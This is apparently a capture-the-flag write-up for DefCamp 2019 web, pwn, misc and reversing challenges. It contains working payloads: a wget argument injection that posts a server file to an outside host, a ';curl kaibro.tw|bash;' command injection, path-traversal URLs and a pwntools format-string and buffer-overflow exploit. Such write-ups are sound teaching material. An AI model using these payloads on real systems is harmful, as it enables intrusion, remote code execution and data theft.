It's recommended to read our responsive web version of this writeup.
This challenge allows you to input a URL. Then it will use wget to download the content of this URL and put it into /upload/<random>. After this, it will run bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}' to prevent uploading php files.
But we can use argument injection to upload file:
wget http://kaibro.tw --post-file=/var/www/html/index.php kaibro.tw:8787
<?php
ini_set('display_errors', 0);
$out = false;
$url = $_POST['url'] ?? false;
$error = false;
if ($url && !preg_match('#^https?://([a-z0-9-]+\.)*[a-z0-9-]+\.[a-z0-9-]+/.+#i', $url)) {
$error = 'Invalid URL';
} else if ($url && preg_match('/\.(htaccess|ph(p\d?|t|tml))$/', $url)) { // .htaccess .php .php3 - .php7 .phtml .pht
$error = 'Sneaky you!';
}
if (!$error && $url) {
$target = 'uploads/' .uniqid() . bin2hex(openssl_random_pseudo_bytes(8));
mkdir($target);
chdir($target);
touch('.htaccess');
$cmd = escapeshellcmd('wget ' . $url) . ' 2>&1';
$out = "\$ cd $target" . PHP_EOL;
$out .= '$ ' . $cmd . PHP_EOL;
$out .= shell_exec($cmd);
$cmd = "bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}'";
$out .= '$ ' . $cmd . PHP_EOL;
$out .= shell_exec($cmd) . PHP_EOL;
}
?><!DOCTYPE html>
<html>
<head>
<title>Downloader v1</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>
<div class="container mt-5">
<div class="row">
<div class="col-8 offset-2">
<h3 class="text-center">File downloader v1</h3>
<div class="card mt-5">
<div class="card-header">Specify an URL to download</div>
<form class="card-body" method="POST">
<?php if ($error): ?>
<div class="alert alert-danger" role="alert"><?php echo htmlentities($error); ?></div>
<?php endif;?>
<div class="form-group">
<label>URL to download:</label>
<input type="text" name="url" placeholder="http://example.com/image.jpg" value="<?php echo htmlentities($url, ENT_QUOTES); ?>" class="form-control" >
</div>
<button type="submit" class="btn btn-primary float-right">Submit</button>
</form>
<?php if ($out): ?>
<div class="card-header card-footer">Output:</div>
<div class="card-body">
<pre><code><?php echo htmlentities($out); ?></code></pre>
</div>
<?php endif;?>
</div>
</div>
</div>
</div>
<!-- <a href="flag.php">###</a> -->read the flag.php:
GET ME!
<?php /* DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0} */ ?>In this challenge, you can set your avatar from imgur.com.
It will download the image from imgur.com and put it into profiles/xxxxx.jpg.
And there is a LFI vulnerability: ?page=xxxxx
So our target is to put malicious php code into image, then use LFI include it to RCE.
DCTF{762241E8981F7E4C2B134C2894747990989FB5DFF0A3AD8DB5A0CEB5D05CBD8D}
In this challenge, the /download/ path looks so weird.
e.g. Visiting /download/index.php will show the php source code.
After fuzzing, I found path traversal vulnerability: https://online-album.dctfq19.def.camp/download/%252e%252e%252fcomposer.json
So we can read any php source code now:
/download/%252e%252e%252froutes/web.php
<?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('welcome');
});
Auth::routes();
Route::get('/home', 'HomeController@index')->name('home');
Route::get('/album/{path}', 'HomeController@album')->name('album')->where('path', '.*');
Route::get('/download/{path}', 'HomeController@download')->name('download')->where('path', '.*');
Route::post('/auto-logout', 'HomeController@auto_logout')->name('auto-logout');Let's read the HomeController: /download/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/var/www/html/app/Http/Controllers/HomeController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Auth;
class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
/**
* Show the application dashboard.
*
* @return \Illuminate\Contracts\Support\Renderable
*/
public function index()
{
return view('home');
}
public function album(Request $request, $path)
{
// dd($path);
// dd(getcwd());
$path = urldecode($path);
if ($path[0] == "/") {
$path = substr($str, 1);
}
$files = scandir($path);
foreach ($files as $key => $file) {
if ($file[0] == ".") {
unset($files[$key]);
}
}
// $files = scandir("/var/www/html/");
$html = "";
foreach ($files as $photo) {
$info = pathinfo($photo);
if(array_key_exists("extension", $info)){
if ($info["extension"] == "jpeg") {
$html.="<a target='_blank' href='/download/".$path."/".$photo."'><img width='700' src='/".$path."/".$photo."'></a><hr>";
}
}
}
return view('home', [
"files" => $files,
"html" => $html,
]);
}
public function download(Request $request, $path)
{
// dd($path);
// dd(getcwd());
$path = urldecode($path);
if ($path[0] == "/") {
$path = substr($str, 1);
}
if (strpos($path, "../..")) {
dd("Ilegal path found!");
}
$file = file_get_contents($path);
return $file;
}
public function auto_logout(Request $request)
{
Auth::logout();
//delete file after logout
$cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';
shell_exec($cmd);
}
}There is a obvious Command Injection vulnerability in the auto_logout() function.
We can insert ";curl kaibro.tw|bash;" into logout_token, then get RCE.
DCTF{1196df3f624df7a099d4364e96df21a4c7283071177237bdd36e0981da68bd29}
This challenge is a classic nim game. First, build a nim game state table. Then, we are done. Notice that the timeout limit is very strict. So I rent a GCP server in switzerland in order to solve it.
#!/usr/bin/env python3
from pwn import *
r = remote('206.81.24.129', 2337)
r.sendlineafter("Hi! What's your name?\n", 'a')
r.sendlineafter('Ready? Y/N\n', 'Y')
def nim_tables(moves):
table = [0]
for i in range(1, 1000 + 1):
values = []
for move in moves:
if i - move >= 0:
values.append(table[i - move])
if 0 in values:
table.append(1)
else:
table.append(0)
return table
def go():
r.recvlines(2)
moves = eval(r.recvline())
moves = sorted(moves)
table = nim_tables(moves)
while True:
text = r.recvline()
score = int(text.decode().partition('Total Score: ')[2])
print(f'score: {score}')
for move in moves[::-1]:
if score - move >= 0 and table[score - move] == 0:
r.sendlineafter('Your move: ', str(move))
break
text = r.recvline()
if b'Well done' in text:
break
text = r.recvline()
if b'Well done' in text:
break
for i in range(10):
go()We found the solution to this challenge at the last 20 minutes, and it's too late to solve it. QQ
This challenge is a tutorial video. We found that there was a adblock chrome extension installed on the author's computer, and it added a number continuously.
We noticed that this number only added either 1 or 2. We recorded the amount of change and converted them to 0 and 1. Then, we converted each 8 bits to an ascii character. The final result is the flag.
01000100010000110101010001000110011110110011000001100100
DCTF{0d
There was an format string vulnerability in the username. I used %p to dump the stack, and I found a string from %30$p. It's the password for this challenge.
username: test
password: $_TH1S1STH34W3S0M3P4sSw0RDF0RY0UDCTF2019_
Just use format string to leak canary and libc base; then use buffer overflow to write retrun address as one gadget.
#!/usr/bin/env python
from pwn import *
ip = "206.81.24.129"
port = 1339
context.arch = "amd64"
r = remote(ip, port)
# r = process("pwn_secret")
raw_input("$")
r.sendlineafter(":", "_%15$p_%16$p_%17$p")
out = r.recvline().split("_")
canary = int(out[1], 16)
code_base = int(out[2], 16) - 3136
libc_base = int(out[3], 16) - 133168
log.info(hex(canary))
log.info(hex(code_base))
log.info(hex(libc_base))
r.sendlineafter(":", flat("a" * 136, canary, 'b' * 8, libc_base + 0x45216))
r.interactive()After reversing, the input string will be mapped to 6U2SRYZ9A84VQXK>7;F5E?I0GJW=PD3<MT@BLH:NO1C one byte by one byte and insert to the balance tree. And then, check the pre-order traversal is equals to E852036?;<B@DLIGJPNU. Therefore, do the reverse way and we get the username D9TCEFL20ASHIW1GNORM.